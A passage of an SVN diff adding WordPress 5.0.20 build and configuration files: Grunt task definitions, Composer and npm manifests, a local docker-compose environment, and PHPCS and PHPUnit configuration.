+						if ( [ 'png', 'jpg', 'gif', 'jpeg' ].some( testExtension ) ) {
+							grunt.log.writeln( 'Image files modified. Minifying.' );
+							taskList.push( 'precommit:image' );
+						}
+
+						[ 'js', 'css', 'php' ].forEach( function( extension ) {
+							if ( testExtension( extension ) ) {
+								grunt.log.writeln( extension.toUpperCase() + ' files modified. ' + extension.toUpperCase() + ' tests will be run.' );
+								taskList.push( 'precommit:' + extension );
+							}
+						} );
+
+						if ( [ 'twemoji.js' ].some( testPath ) ) {
+							grunt.log.writeln( 'twemoji.js has updated. Running `precommit:emoji.' );
+							taskList.push( 'precommit:emoji' );
+						}
+					}
+
+					grunt.task.run( taskList );
+					done();
+				} else {
+					runAllTasks();
+				}
+			} );
+		}
+	} );
+
+	grunt.registerTask( 'copy:all', [
+		'copy:files',
+		'copy:wp-admin-css-compat-rtl',
+		'copy:wp-admin-css-compat-min',
+		'copy:version'
+	] );
+
+	grunt.registerTask( 'build', [
+		'clean:all',
+		'copy:all',
+		'cssmin:core',
+		'colors',
+		'rtl',
+		'cssmin:rtl',
+		'cssmin:colors',
+		'uglify:core',
+		'uglify:embed',
+		'uglify:jqueryui',
+		'concat:tinymce',
+		'compress:tinymce',
+		'clean:tinymce',
+		'concat:emoji',
+		'includes:emoji',
+		'includes:embed',
+		'usebanner',
+		'webpack:prod',
+		'webpack:devProdTarget',
+		'cssmin:dist',
+		'jsvalidate:build'
+	] );
+
+	grunt.registerTask( 'prerelease', [
+		'precommit:php',
+		'precommit:js',
+		'precommit:css',
+		'precommit:image'
+	] );
+
+	// Testing tasks.
+	grunt.registerMultiTask('phpunit', 'Runs PHPUnit tests, including the ajax, external-http, and multisite tests.', function() {
+		grunt.util.spawn({
+			cmd: this.data.cmd,
+			args: this.data.args,
+			opts: {stdio: 'inherit'}
+		}, this.async());
+	});
+
+	grunt.registerTask('qunit:compiled', 'Runs QUnit tests on compiled as well as uncompiled scripts.',
+		['build', 'copy:qunit', 'qunit']);
+
+	grunt.registerTask('test', 'Runs all QUnit and PHPUnit tasks.', ['qunit:compiled', 'phpunit']);
+
+	// Travis CI tasks.
+	grunt.registerTask('travis:js', 'Runs Javascript Travis CI tasks.', [ 'jshint:corejs', 'qunit:compiled' ]);
+	grunt.registerTask('travis:phpunit', 'Runs PHPUnit Travis CI tasks.', 'phpunit');
+
+	// Patch task.
+	grunt.renameTask('patch_wordpress', 'patch');
+
+	// Add an alias `apply` of the `patch` task name.
+	grunt.registerTask('apply', 'patch');
+
+	// Default task.
+	grunt.registerTask('default', ['build']);
+
+	/*
+	 * Automatically updates the `:dynamic` configurations
+	 * so that only the changed files are updated.
+	 */
+	grunt.event.on('watch', function( action, filepath, target ) {
+		var src;
+
+		if ( [ 'all', 'rtl', 'webpack' ].indexOf( target ) === -1 ) {
+			return;
+		}
+
+		src = [ path.relative( SOURCE_DIR, filepath ) ];
+
+		if ( action === 'deleted' ) {
+			grunt.config( [ 'clean', 'dynamic', 'src' ], src );
+		} else {
+			grunt.config( [ 'copy', 'dynamic', 'src' ], src );
+
+			if ( target === 'rtl' ) {
+				grunt.config( [ 'rtlcss', 'dynamic', 'src' ], src );
+			}
+		}
+	});
+};
Index: /tags/5.0.20/composer.json
===================================================================
--- /tags/5.0.20/composer.json	(revision 56912)
+++ /tags/5.0.20/composer.json	(revision 56912)
@@ -0,0 +1,25 @@
+{
+	"name": "wordpress/wordpress",
+	"license": "GPL-2.0-or-later",
+	"description": "WordPress is open source software you can use to create a beautiful website, blog, or app.",
+	"homepage": "https://wordpress.org",
+	"keywords": [
+		"blog", "cms", "wordpress", "wp"
+	],
+	"support": {
+		"issues": "https://core.trac.wordpress.org/"
+	},
+	"require-dev": {
+		"dealerdirect/phpcodesniffer-composer-installer": "~0.4.4",
+		"wp-coding-standards/wpcs": "~1.0.0"
+	},
+	"config": {
+		"allow-plugins": {
+			"dealerdirect/phpcodesniffer-composer-installer": true
+		}
+	},
+	"scripts": {
+		"format": "phpcbf --standard=phpcs.xml.dist --report-summary --report-source",
+		"lint": "phpcs --standard=phpcs.xml.dist --report-summary --report-source"
+	}
+}
Index: /tags/5.0.20/composer.lock
===================================================================
--- /tags/5.0.20/composer.lock	(revision 56912)
+++ /tags/5.0.20/composer.lock	(revision 56912)
@@ -0,0 +1,180 @@
+{
+    "_readme": [
+        "This file locks the dependencies of your project to a known state",
+        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
+        "This file is @generated automatically"
+    ],
+    "content-hash": "525cadb533bc92cc922d79144b33b14a",
+    "packages": [],
+    "packages-dev": [
+        {
+            "name": "dealerdirect/phpcodesniffer-composer-installer",
+            "version": "v0.4.4",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/Dealerdirect/phpcodesniffer-composer-installer.git",
+                "reference": "2e41850d5f7797cbb1af7b030d245b3b24e63a08"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/Dealerdirect/phpcodesniffer-composer-installer/zipball/2e41850d5f7797cbb1af7b030d245b3b24e63a08",
+                "reference": "2e41850d5f7797cbb1af7b030d245b3b24e63a08",
+                "shasum": ""
+            },
+            "require": {
+                "composer-plugin-api": "^1.0",
+                "php": "^5.3|^7",
+                "squizlabs/php_codesniffer": "*"
+            },
+            "require-dev": {
+                "composer/composer": "*",
+                "wimg/php-compatibility": "^8.0"
+            },
+            "suggest": {
+                "dealerdirect/qa-tools": "All the PHP QA tools you'll need"
+            },
+            "type": "composer-plugin",
+            "extra": {
+                "class": "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\Plugin"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Franck Nijhof",
+                    "email": "f.nijhof@dealerdirect.nl",
+                    "homepage": "http://workingatdealerdirect.eu",
+                    "role": "Developer"
+                }
+            ],
+            "description": "PHP_CodeSniffer Standards Composer Installer Plugin",
+            "homepage": "http://workingatdealerdirect.eu",
+            "keywords": [
+                "PHPCodeSniffer",
+                "PHP_CodeSniffer",
+                "code quality",
+                "codesniffer",
+                "composer",
+                "installer",
+                "phpcs",
+                "plugin",
+                "qa",
+                "quality",
+                "standard",
+                "standards",
+                "style guide",
+                "stylecheck",
+                "tests"
+            ],
+            "time": "2017-12-06T16:27:17+00:00"
+        },
+        {
+            "name": "squizlabs/php_codesniffer",
+            "version": "3.3.2",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/squizlabs/PHP_CodeSniffer.git",
+                "reference": "6ad28354c04b364c3c71a34e4a18b629cc3b231e"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/6ad28354c04b364c3c71a34e4a18b629cc3b231e",
+                "reference": "6ad28354c04b364c3c71a34e4a18b629cc3b231e",
+                "shasum": ""
+            },
+            "require": {
+                "ext-simplexml": "*",
+                "ext-tokenizer": "*",
+                "ext-xmlwriter": "*",
+                "php": ">=5.4.0"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0"
+            },
+            "bin": [
+                "bin/phpcs",
+                "bin/phpcbf"
+            ],
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "3.x-dev"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "BSD-3-Clause"
+            ],
+            "authors": [
+                {
+                    "name": "Greg Sherwood",
+                    "role": "lead"
+                }
+            ],
+            "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.",
+            "homepage": "http://www.squizlabs.com/php-codesniffer",
+            "keywords": [
+                "phpcs",
+                "standards"
+            ],
+            "time": "2018-09-23T23:08:17+00:00"
+        },
+        {
+            "name": "wp-coding-standards/wpcs",
+            "version": "1.0.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards.git",
+                "reference": "539c6d74e6207daa22b7ea754d6f103e9abb2755"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/WordPress-Coding-Standards/WordPress-Coding-Standards/zipball/539c6d74e6207daa22b7ea754d6f103e9abb2755",
+                "reference": "539c6d74e6207daa22b7ea754d6f103e9abb2755",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3",
+                "squizlabs/php_codesniffer": "^2.9.0 || ^3.0.2"
+            },
+            "require-dev": {
+                "phpcompatibility/php-compatibility": "*"
+            },
+            "suggest": {
+                "dealerdirect/phpcodesniffer-composer-installer": "^0.4.3 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically."
+            },
+            "type": "phpcodesniffer-standard",
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Contributors",
+                    "homepage": "https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/graphs/contributors"
+                }
+            ],
+            "description": "PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions",
+            "keywords": [
+                "phpcs",
+                "standards",
+                "wordpress"
+            ],
+            "time": "2018-07-25T18:10:35+00:00"
+        }
+    ],
+    "aliases": [],
+    "minimum-stability": "stable",
+    "stability-flags": [],
+    "prefer-stable": false,
+    "prefer-lowest": false,
+    "platform": [],
+    "platform-dev": []
+}
Index: /tags/5.0.20/docker-compose.yml
===================================================================
--- /tags/5.0.20/docker-compose.yml	(revision 56912)
+++ /tags/5.0.20/docker-compose.yml	(revision 56912)
@@ -0,0 +1,136 @@
+version: '3.7'
+
+services:
+
+  ##
+  # The web server container.
+  ##
+  wordpress-develop:
+    image: nginx:alpine
+
+    networks:
+      - wpdevnet
+
+    ports:
+      - ${LOCAL_PORT-8889}:80
+
+    environment:
+      LOCAL_DIR: ${LOCAL_DIR-src}
+
+    volumes:
+      - ./tools/local-env/default.template:/etc/nginx/conf.d/default.template
+      - ./:/var/www
+
+    # Load our config file, substituting environment variables into the config.
+    command: /bin/sh -c "envsubst '$$LOCAL_DIR' < /etc/nginx/conf.d/default.template > /etc/nginx/conf.d/default.conf && exec nginx -g 'daemon off;'"
+
+    depends_on:
+      - php
+
+  ##
+  # The PHP container.
+  ##
+  php:
+    image: wordpressdevelop/php:${LOCAL_PHP-7.3-fpm}
+
+    networks:
+      - wpdevnet
+
+    environment:
+      LOCAL_PHP_XDEBUG: ${LOCAL_PHP_XDEBUG-false}
+      LOCAL_PHP_MEMCACHED: ${LOCAL_PHP_MEMCACHED-false}
+      PHP_FPM_UID: ${PHP_FPM_UID-1000}
+      PHP_FPM_GID: ${PHP_FPM_GID-1000}
+
+    volumes:
+      - ./tools/local-env/php-config.ini:/usr/local/etc/php/conf.d/php-config.ini
+      - ./:/var/www
+
+    depends_on:
+      - mysql
+
+  ##
+  # The MySQL container.
+  ##
+  mysql:
+    image: amd64/${LOCAL_DB_TYPE-mysql}:${LOCAL_DB_VERSION-5.7}
+
+    networks:
+      - wpdevnet
+
+    ports:
+      - "3306"
+
+    environment:
+      MYSQL_ROOT_PASSWORD: password
+
+    volumes:
+      - ./tools/local-env/mysql-init.sql:/docker-entrypoint-initdb.d/mysql-init.sql
+      - mysql:/var/lib/mysql
+
+    # For compatibility with PHP versions that don't support the caching_sha2_password auth plugin used in MySQL 8.0.
+    command: --default-authentication-plugin=mysql_native_password
+
+  ##
+  # The WP CLI container.
+  ##
+  cli:
+    image: wordpressdevelop/cli:${LOCAL_PHP-7.3-fpm}
+
+    networks:
+      - wpdevnet
+
+    environment:
+      LOCAL_PHP_XDEBUG: ${LOCAL_PHP_XDEBUG-false}
+      LOCAL_PHP_MEMCACHED: ${LOCAL_PHP_MEMCACHED-false}
+      PHP_FPM_UID: ${PHP_FPM_UID-1000}
+      PHP_FPM_GID: ${PHP_FPM_GID-1000}
+
+    volumes:
+      - ./:/var/www
+
+    # The init directive ensures the command runs with a PID > 1, so Ctrl+C works correctly.
+    init: true
+
+  ##
+  # The PHPUnit container.
+  ##
+  phpunit:
+    image: wordpressdevelop/phpunit:${LOCAL_PHPUNIT-6-php-7.3-fpm}
+
+    networks:
+      - wpdevnet
+
+    environment:
+      LOCAL_PHP_XDEBUG: ${LOCAL_PHP_XDEBUG-false}
+      LOCAL_PHP_MEMCACHED: ${LOCAL_PHP_MEMCACHED-false}
+      LOCAL_DIR: ${LOCAL_DIR-src}
+      WP_MULTISITE: ${WP_MULTISITE-false}
+      PHP_FPM_UID: ${PHP_FPM_UID-1000}
+      PHP_FPM_GID: ${PHP_FPM_GID-1000}
+      TRAVIS_BRANCH: ${TRAVIS_BRANCH-false}
+      TRAVIS_PULL_REQUEST: ${TRAVIS_PULL_REQUEST-false}
+      GITHUB_REF: ${GITHUB_REF-false}
+      GITHUB_EVENT_NAME: ${GITHUB_EVENT_NAME-false}
+
+    volumes:
+      - ./tools/local-env/phpunit-config.ini:/usr/local/etc/php/conf.d/phpunit-config.ini
+      - ./:/var/www
+      - phpunit-uploads:/var/www/${LOCAL_DIR-src}/wp-content/uploads
+
+    # The init directive ensures the command runs with a PID > 1, so Ctrl+C works correctly.
+    init: true
+
+    depends_on:
+      - mysql
+
+volumes:
+  # So that sites aren't wiped every time containers are restarted, MySQL uses a persistent volume.
+  mysql: {}
+  # Using a volume for the uploads directory improves PHPUnit performance.
+  phpunit-uploads: {}
+
+networks:
+  # Creating our own network allows us to connect between containers using their service name.
+  wpdevnet:
+    driver: bridge
Index: /tags/5.0.20/jsdoc.conf.json
===================================================================
--- /tags/5.0.20/jsdoc.conf.json	(revision 56912)
+++ /tags/5.0.20/jsdoc.conf.json	(revision 56912)
@@ -0,0 +1,40 @@
+{
+	"plugins": [],
+	"recurseDepth": 10,
+	"source": {
+		"include": ["src/wp-includes/js"],
+		"exclude": [
+			"src/wp-includes/js/tinymce",
+			"src/wp-includes/js/crop",
+			"src/wp-includes/js/imgareaselect",
+			"src/wp-includes/js/jcrop",
+			"src/wp-includes/js/jquery",
+			"src/wp-includes/js/mediaelement",
+			"src/wp-includes/js/swfupload",
+			"src/wp-includes/js/thickbox",
+			"src/wp-includes/js/media-audiovideo.js",
+			"src/wp-includes/js/media-grid.js",
+			"src/wp-includes/js/media-models.js",
+			"src/wp-includes/js/media-views.js"
+		],
+		"includePattern": ".+\\.js(doc|x)?$",
+		"excludePattern": "(^|\\/|\\\\)_"
+	},
+	"sourceType": "module",
+	"tags": {
+		"allowUnknownTags": true,
+		"dictionaries": ["jsdoc","closure"]
+	},
+	"templates": {
+		"cleverLinks": false,
+		"monospaceLinks": false,
+		"theme": "united",
+		"outputSourceFiles": true,
+		"outputSourcePath": true,
+		"linenums": true
+	},
+	"opts": {
+		"template": "./node_modules/ink-docstrap/template",
+		"recurse": true
+	}
+}
Index: /tags/5.0.20/package-lock.json
===================================================================
--- /tags/5.0.20/package-lock.json	(revision 56912)
+++ /tags/5.0.20/package-lock.json	(revision 56912)
@@ -0,0 +1,14272 @@
+{
+	"name": "WordPress",
+	"version": "5.0.20",
+	"lockfileVersion": 1,
+	"requires": true,
+	"dependencies": {
+		"@babel/parser": {
+			"version": "7.12.11",
+			"resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.12.11.tgz",
+			"integrity": "sha512-N3UxG+uuF4CMYoNj8AhnbAcJF0PiuJ9KHuy1lQmkYsxTer/MAH9UBNHsBoAX/4s6NvlDD047No8mYVGGzLL4hg==",
+			"dev": true
+		},
+		"@babel/polyfill": {
+			"version": "7.0.0",
+			"resolved": "https://registry.npmjs.org/@babel/polyfill/-/polyfill-7.0.0.tgz",
+			"integrity": "sha512-dnrMRkyyr74CRelJwvgnnSUDh2ge2NCTyHVwpOdvRMHtJUyxLtMAfhBN3s64pY41zdw0kgiLPh6S20eb1NcX6Q==",
+			"requires": {
+				"core-js": "^2.5.7",
+				"regenerator-runtime": "^0.11.1"
+			}
+		},
+		"@babel/runtime": {
+			"version": "7.12.13",
+			"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.12.13.tgz",
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+}
Index: /tags/5.0.20/package.json
===================================================================
--- /tags/5.0.20/package.json	(revision 56912)
+++ /tags/5.0.20/package.json	(revision 56912)
@@ -0,0 +1,133 @@
+{
+	"name": "WordPress",
+	"version": "5.0.20",
+	"description": "WordPress is web software you can use to create a beautiful website or blog.",
+	"repository": {
+		"type": "svn",
+		"url": "https://develop.svn.wordpress.org/trunk"
+	},
+	"engines": {
+		"node": ">=14.15.0",
+		"npm": ">=6.14.8"
+	},
+	"author": "The WordPress Contributors",
+	"license": "GPL-2.0+",
+	"browserslist": [
+		"> 1%",
+		"ie >= 11",
+		"last 1 Android versions",
+		"last 1 ChromeAndroid versions",
+		"last 2 Chrome versions",
+		"last 2 Firefox versions",
+		"last 2 Safari versions",
+		"last 2 iOS versions",
+		"last 2 Edge versions",
+		"last 2 Opera versions"
+	],
+	"devDependencies": {
+		"@wordpress/custom-templated-path-webpack-plugin": "1.1.5",
+		"@wordpress/library-export-default-webpack-plugin": "1.0.4",
+		"autoprefixer": "^9.8.6",
+		"copy-webpack-plugin": "^4.6.0",
+		"cssnano": "4.1.10",
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+		"grunt-contrib-concat": "1.0.1",
+		"grunt-contrib-copy": "~1.0.0",
+		"grunt-contrib-cssmin": "~4.0.0",
+		"grunt-contrib-imagemin": "~4.0.0",
+		"grunt-contrib-jshint": "3.0.0",
+		"grunt-contrib-qunit": "^4.0.0",
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+		"grunt-rtlcss": "~2.0.2",
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+		"grunt-webpack": "^4.0.0",
+		"ink-docstrap": "1.3.2",
+		"matchdep": "~2.0.0",
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+		"source-map-loader": "^1.1.3",
+		"uglify-js": "^3.13.2",
+		"wait-on": "^5.3.0",
+		"webpack": "4.43.0",
+		"webpack-dev-server": "3.11.2",
+		"webpack-livereload-plugin": "2.3.0"
+	},
+	"dependencies": {
+		"@babel/polyfill": "7.0.0",
+		"@wordpress/a11y": "2.0.2",
+		"@wordpress/annotations": "1.0.10",
+		"@wordpress/api-fetch": "2.2.8",
+		"@wordpress/autop": "2.0.2",
+		"@wordpress/blob": "2.1.0",
+		"@wordpress/block-library": "2.2.20",
+		"@wordpress/block-serialization-default-parser": "2.0.5",
+		"@wordpress/blocks": "6.0.8",
+		"@wordpress/components": "7.0.10",
+		"@wordpress/compose": "3.0.1",
+		"@wordpress/core-data": "2.0.17",
+		"@wordpress/data": "4.2.1",
+		"@wordpress/date": "3.0.1",
+		"@wordpress/deprecated": "2.0.5",
+		"@wordpress/dom": "2.0.9",
+		"@wordpress/dom-ready": "2.0.2",
+		"@wordpress/edit-post": "3.1.13",
+		"@wordpress/editor": "9.0.13",
+		"@wordpress/element": "2.1.9",
+		"@wordpress/escape-html": "1.0.1",
+		"@wordpress/format-library": "1.2.16",
+		"@wordpress/hooks": "2.0.5",
+		"@wordpress/html-entities": "2.0.4",
+		"@wordpress/i18n": "3.1.1",
+		"@wordpress/is-shallow-equal": "1.1.5",
+		"@wordpress/keycodes": "2.0.6",
+		"@wordpress/list-reusable-blocks": "1.1.23",
+		"@wordpress/notices": "1.1.3",
+		"@wordpress/nux": "3.0.11",
+		"@wordpress/plugins": "2.0.11",
+		"@wordpress/redux-routine": "3.0.4",
+		"@wordpress/rich-text": "3.0.9",
+		"@wordpress/shortcode": "2.0.2",
+		"@wordpress/token-list": "1.1.0",
+		"@wordpress/url": "2.3.3",
+		"@wordpress/viewport": "2.1.1",
+		"@wordpress/wordcount": "2.0.3",
+		"element-closest": "2.0.2",
+		"formdata-polyfill": "3.0.12",
+		"lodash": "4.17.21",
+		"moment": "2.22.2",
+		"polyfill-library": "3.26.0-0",
+		"react": "16.6.3",
+		"react-dom": "16.6.3",
+		"whatwg-fetch": "3.0.0"
+	},
+	"scripts": {
+		"build": "grunt build",
+		"build:dev": "grunt build --dev",
+		"dev": "grunt watch --dev",
+		"test": "grunt test",
+		"watch": "grunt watch",
+		"grunt": "grunt",
+		"env:start": "node ./tools/local-env/scripts/start.js",
+		"env:stop": "node ./tools/local-env/scripts/docker.js down",
+		"env:restart": "npm run env:stop && npm run env:start",
+		"env:clean": "node ./tools/local-env/scripts/docker.js down -v --remove-orphans",
+		"env:reset": "node ./tools/local-env/scripts/docker.js down --rmi all -v --remove-orphans",
+		"env:install": "node ./tools/local-env/scripts/install.js",
+		"env:cli": "node ./tools/local-env/scripts/docker.js run cli",
+		"env:logs": "node ./tools/local-env/scripts/docker.js logs",
+		"env:pull": "node ./tools/local-env/scripts/docker.js pull",
+		"test:php": "node ./tools/local-env/scripts/docker.js run --rm phpunit phpunit"
+	}
+}
Index: /tags/5.0.20/phpcs.xml.dist
===================================================================
--- /tags/5.0.20/phpcs.xml.dist	(revision 56912)
+++ /tags/5.0.20/phpcs.xml.dist	(revision 56912)
@@ -0,0 +1,122 @@
+<?xml version="1.0"?>
+<ruleset name="WordPress Coding Standards">
+	<description>Apply WordPress Coding Standards to all Core files</description>
+
+	<rule ref="WordPress-Core"/>
+	<rule ref="WordPress.CodeAnalysis.EmptyStatement"/>
+
+	<rule ref="PEAR.Functions.FunctionCallSignature">
+		<properties>
+			<property name="allowMultipleArguments" value="false"/>
+		</properties>
+	</rule>
+
+	<arg name="extensions" value="php"/>
+
+	<!-- Strip the filepaths down to the relevant bit. -->
+	<arg name="basepath" value="./"/>
+
+	<!-- Check up to 20 files simultanously. -->
+	<arg name="parallel" value="20"/>
+
+	<!-- Show sniff codes in all reports -->
+	<arg value="ps"/>
+
+	<file>.</file>
+
+	<!-- Exclude the build folder in the current directory, as Travis puts the checkout in a build directory. -->
+	<exclude-pattern type="relative">^build/*</exclude-pattern>
+
+	<!-- Directories and third party library exclusions -->
+	<exclude-pattern>/node_modules/*</exclude-pattern>
+	<exclude-pattern>/vendor/*</exclude-pattern>
+
+	<exclude-pattern>/src/wp-admin/includes/class-ftp*</exclude-pattern>
+	<exclude-pattern>/src/wp-admin/includes/class-pclzip\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-admin/includes/deprecated\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-admin/includes/ms-deprecated\.php</exclude-pattern>
+
+	<exclude-pattern>/src/wp-includes/atomlib\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-IXR\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-json\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-phpass\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-phpmailer\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-pop3\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-requests\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-simplepie\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-smtp\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/class-snoopy\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/deprecated\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/ms-deprecated\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/pluggable-deprecated\.php</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/rss\.php</exclude-pattern>
+
+	<exclude-pattern>/src/wp-includes/ID3/*</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/IXR/*</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/random_compat/*</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/Requests/*</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/SimplePie/*</exclude-pattern>
+	<exclude-pattern>/src/wp-includes/Text/*</exclude-pattern>
+
+	<!-- Test data and fixtures -->
+	<exclude-pattern>/tests/phpunit/build*</exclude-pattern>
+	<exclude-pattern>/tests/phpunit/data/*</exclude-pattern>
+
+	<exclude-pattern>/tools/*</exclude-pattern>
+
+	<!-- Whitelist the WP DB Class and related tests for usage of direct database access functions. -->
+	<rule ref="WordPress.DB.RestrictedFunctions">
+		<exclude-pattern>/src/wp-includes/wp-db\.php</exclude-pattern>
+		<exclude-pattern>/tests/phpunit/tests/db/charset\.php</exclude-pattern>
+	</rule>
+
+	<!-- Whitelist the WP DB related tests for issues with prepared SQL placeholders
+		 (as the handling of those are being tested). -->
+	<rule ref="WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare">
+		<exclude-pattern>/tests/phpunit/tests/db\.php</exclude-pattern>
+	</rule>
+	<rule ref="WordPress.DB.PreparedSQLPlaceholders.UnsupportedPlaceholder">
+		<exclude-pattern>/tests/phpunit/tests/db\.php</exclude-pattern>
+	</rule>
+	<rule ref="WordPress.DB.PreparedSQLPlaceholders.UnescapedLiteral">
+		<exclude-pattern>/tests/phpunit/tests/db\.php</exclude-pattern>
+	</rule>
+	<rule ref="WordPress.DB.PreparedSQL.NotPrepared">
+		<exclude-pattern>/tests/phpunit/tests/admin/includesSchema\.php</exclude-pattern>
+		<exclude-pattern>/tests/phpunit/tests/multisite/site\.php</exclude-pattern>
+	</rule>
+
+	<!-- Whitelist the I18n functions file from issues identified by the I18n sniff
+		(such as calling the low-level translate() function). -->
+	<rule ref="WordPress.WP.I18n">
+		<exclude-pattern>/src/wp-includes/l10n\.php</exclude-pattern>
+	</rule>
+
+	<rule ref="Generic.Functions.FunctionCallArgumentSpacing">
+		<exclude-pattern>/wp-config\.php</exclude-pattern>
+		<exclude-pattern>/wp-config-sample\.php</exclude-pattern>
+		<exclude-pattern>/wp-tests-config\.php</exclude-pattern>
+		<exclude-pattern>/wp-tests-config-sample\.php</exclude-pattern>
+	</rule>
+
+	<rule ref="Generic.Files.LineEndings">
+		<exclude-pattern>/wp-config\.php</exclude-pattern>
+		<exclude-pattern>/wp-config-sample\.php</exclude-pattern>
+	</rule>
+
+	<!-- Whitelist test classes for select sniffs. -->
+	<rule ref="WordPress.Files.FileName">
+		<properties>
+			<property name="custom_test_class_whitelist" type="array" value="WP_UnitTestCase,WP_Ajax_UnitTestCase,WP_Canonical_UnitTestCase,WP_Test_REST_TestCase,WP_Test_REST_Controller_Testcase,WP_Test_REST_Post_Type_Controller_Testcase,WP_XMLRPC_UnitTestCase"/>
+		</properties>
+	</rule>
+
+	<!-- Exclude the unit tests from select sniffs. -->
+	<rule ref="WordPress.Files.FileName.NotHyphenatedLowercase">
+		<exclude-pattern>/tests/phpunit/tests/*</exclude-pattern>
+	</rule>
+	<rule ref="PEAR.NamingConventions.ValidClassName.Invalid">
+		<exclude-pattern>/tests/phpunit/tests/*</exclude-pattern>
+	</rule>
+
+</ruleset>
Index: /tags/5.0.20/phpunit.xml.dist
===================================================================
--- /tags/5.0.20/phpunit.xml.dist	(revision 56912)
+++ /tags/5.0.20/phpunit.xml.dist	(revision 56912)
@@ -0,0 +1,87 @@
+<phpunit
+	bootstrap="tests/phpunit/includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        beStrictAboutTestsThatDoNotTestAnything="true"
+        >
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite name="default">
+            <directory suffix=".php">tests/phpunit/tests</directory>
+            <exclude>tests/phpunit/tests/actions/closures.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor.php</exclude>
+            <exclude>tests/phpunit/tests/image/editorGd.php</exclude>
+            <exclude>tests/phpunit/tests/image/editorImagick.php</exclude>
+            <exclude>tests/phpunit/tests/oembed/headers.php</exclude>
+            <exclude>tests/phpunit/tests/rest-api/rest-autosaves-controller.php</exclude>
+            <file phpVersion="5.3.0">tests/phpunit/tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editorGd.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editorImagick.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/oembed/headers.php</file>
+        </testsuite>
+        <!-- Sets the DOING_AUTOSAVE constant, so needs to be run last -->
+        <testsuite name="restapi-autosave">
+            <file>tests/phpunit/tests/rest-api/rest-autosaves-controller.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+            <group>ms-files</group>
+            <group>ms-required</group>
+            <group>external-http</group>
+        </exclude>
+    </groups>
+    <logging>
+        <log type="junit" target="tests/phpunit/build/logs/junit.xml" logIncompleteSkipped="false"/>
+    </logging>
+    <php>
+        <const name="WP_RUN_CORE_TESTS" value="1" />
+    </php>
+	<listeners>
+		<listener class="SpeedTrapListener" file="tests/phpunit/includes/speed-trap-listener.php">
+			<arguments>
+				<array>
+					<element key="slowThreshold">
+						<integer>150</integer>
+					</element>
+				</array>
+			</arguments>
+		</listener>
+	</listeners>
+	<filter>
+		<whitelist addUncoveredFilesFromWhitelist="true">
+			<directory suffix=".php">src</directory>
+			<exclude>
+				<!-- Third party library exclusions -->
+				<file>src/wp-admin/includes/class-ftp*</file>
+				<file>src/wp-admin/includes/class-pclzip.php</file>
+				<file>src/wp-admin/includes/deprecated.php</file>
+				<file>src/wp-admin/includes/ms-deprecated.php</file>
+
+				<file>src/wp-includes/atomlib.php</file>
+				<file>src/wp-includes/class-IXR.php</file>
+				<file>src/wp-includes/class-json.php</file>
+				<file>src/wp-includes/class-phpass.php</file>
+				<file>src/wp-includes/class-phpmailer.php</file>
+				<file>src/wp-includes/class-pop3.php</file>
+				<file>src/wp-includes/class-requests.php</file>
+				<file>src/wp-includes/class-simplepie.php</file>
+				<file>src/wp-includes/class-smtp.php</file>
+				<file>src/wp-includes/class-snoopy.php</file>
+				<file>src/wp-includes/deprecated.php</file>
+				<file>src/wp-includes/ms-deprecated.php</file>
